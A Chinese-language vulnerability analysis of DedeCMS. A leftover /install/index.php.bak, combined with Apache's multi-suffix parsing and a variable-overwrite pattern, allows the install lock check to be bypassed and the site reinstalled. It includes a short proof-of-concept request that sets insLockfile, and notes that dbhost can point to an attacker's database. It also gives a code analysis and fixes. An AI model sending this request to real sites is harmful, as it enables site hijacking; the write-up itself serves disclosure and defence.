dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
概括梳理一下这个漏洞的成因
. dedecms默认情况下安装完成之后,install安装目录并未删除,即安装脚本依然存在,只是被重命名为了index.php.bak文件
//Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak
. apache存在一个解析漏洞,即会递归的逐个解析文件的后缀,直到配对到一个可以正确处理的后缀处理函数(ext handler)
//例如index.php.bak会被当成index.php来解析
. dedecms广泛采用了"本地变量注册"的模拟实现,即
/*
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
*/
这导致黑客可以通过传入指定关键变量以此改变代码的正常流程逻辑,以此绕过dedecms的"已安装状态检查"逻辑,实现重安装
Relevant Link:
http://zhanzhang.anquan.org/vul-detail/51b19a3ff159c80f0ab0b8a1/
2. 漏洞触发条件
. install文件夹存在
. apache解析漏洞
0x1: POC
http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4
POST: step=&dbhost=localhost&dbuser=root&dbpwd=&dbprefix=dede_&dbname=dedecms1&dblang=gbk&
//其中dbhost可以改为远程的黑客控制的db,以此达到劫持的目的
3. 漏洞影响范围
4. 漏洞代码分析
/install/index.php.bak
..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
} require_once(DEDEINC.'/common.func.php'); //黑客通过本地变量注入,修改$insLockfile的值,以此绕过dede的检测逻辑
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
..
Relevant Link:
http://www.cnseay.com/2956/
5. 防御方法
. 删除install文件夹
or
. 删除/install/index.php.bak
. 允许用户使用重新安装的功能,但对index.php.bak进行修复
/install/index.php.bak
if( file_exists(dirname(__FILE__).'/install_lock.txt') )
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
6. 攻防思考
在代码中的关键if判断处尽量避免使用变量,可以很大程度上防止本地变量覆盖导致的代码流黑黑客注入修改
Copyright (c) 2015 LittleHann All rights reserved
dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul的更多相关文章
- file / from install of XXX conflicts with file from package filesystem-XXX
在centos上安装一个偏门软件时出现如下问题: rpm -ivh mNetAssist-0.1.1-2.x86_64.rpm #执行命令 file / from install of XXX con ...
- Referenced file contains errors (http://tiles.apache.org/dtds/tiles-config_3_0.dtd)
java开发时遇到的问题,之前还是好好的,没有错误提示.可是今天一打开项目就出现这种问题.真不知道是怎么回事,在这里求助.错误如下: Referenced file contains errors ( ...
- file xxx from install of xxx conflicts with file from xxx
执行安装 rpm -ivh lib64stdc++6-4.6.1-2-mdv2011.0.x86_64.rpm 时提示以下错误: warning: lib64stdc++6-4.6.1-2-mdv20 ...
- python基础===Windows环境下使用pip install 安装出错"Cannot unpack file"解决办法
不知道为什么,加了豆瓣镜像源还是不行 这个命令可以解决! pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douba ...
- No input file specified的解决方法apache伪静态
http://jingyan.baidu.com/article/dca1fa6f8d623ff1a44052e8.html (一)IIS Noinput file specified 方法一:改PH ...
- maven install 报错Could not calculate build plan: Plugin org.apache.maven.plugins:maven-resources-plugin
Could not calculate build plan: Plugin org.apache.maven.plugins:maven-resources-plugin:2.6 or one of ...
- DeDecms远程写入漏洞webshell (dedecms漏洞)
解释下Apache解析文件的流程: 当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名.如果所有的扩展名Apache都不认识,那么变会 ...
- 如何重新安装DEDECMS织梦系统
重装的方法: 1.找到安装目录\install\index.php.bak文件,改名为index.php: 2.删除安装目录\install\install_lock文件:
- dedecms_v5.7的apache文件名解析漏洞的学习
0x00 Apache文件名解析漏洞 Apache是一个Web服务器,可以提供web服务.配合java中间件.PHP实现动态页面访问. Apache和PHP通过接口接入后,Apache接受用户的请求, ...
随机推荐
- Eclipse设置和必装插件
文章长期更新,主要是记录Eclipse好用的插件和规范的设置 插件篇: 1. StartExplorer. 在Eclipse内定位项目目录,和打开项目目录下的命令行,总是非常麻烦.有了这个插件以后,这 ...
- Vue系列: 如何通过组件的属性props设置样式
比如我们要在vue中显示百度地图,然后将相关的代码包装成组件,然后需要由外部来设置组件的高度,关于props的介绍,可以参考: http://cn.vuejs.org/guide/components ...
- Java实现生产者和消费者
生产者和消费者问题是操作系统的经典问题,在实际工作中也常会用到,主要的难点在于协调生产者和消费者,因为生产者的个数和消费者的个数不确定,而生产者的生成速度与消费者的消费速度也不一样,同时还要实现生产者 ...
- WP8.1中C++的winodws运行时组件位移操作的差异
最近学习WP8.1应用开发,想把C语言的SM3国密算法移植到手机app中.由于把C语言的代码转换成C#代码工作量较大,因此只能用winodws运行时组件来实现. SM3国密算法是一种HASH算法,具体 ...
- javascript 位运算
位运算博大精深,本文总结下基本的位运算的概念. 1.整数的二进制码 位操作符用于在最基本的层次上,即按内存中表示数值的位来操作数值.ECMAScript中的所有数值都以IEEE-754 64位格式存储 ...
- ArcEngine将线符号化为立方体状
对于二三维同步中的三维视图肯定是需要通过二维元素来符号化成三维元素的,之前项目测试临时采用这个自代的圆管状: esriSimple3DLineStyle AxisStyle = esriSimple3 ...
- jquery的getjson与jsonp
仔细的学习jquery的getjson的用法. http://www.cnblogs.com/leejersey/p/3750232.html http://www.jb51.net/article/ ...
- 帕雷托最优(Pareto optimality)、帕雷托效率(Pareto efficiency)
帕雷托最优(英语:Pareto optimality),或帕雷托最适,也称为帕雷托效率(英语:Pareto efficiency),是经济学中的重要概念,并且在博弈论.工程学和社会科学中有着广泛的应用 ...
- android之短信拦截器
下面通过短信拦截器来介绍短信中的广播 布局文件 在布局文件中可以设置需要拦截的号码 <?xml version="1.0" encoding="utf-8" ...
- cmd 下telnet 不是内部或外部命令
问题:cmd 下telnet 提示不是内部或外部命令 解决方案: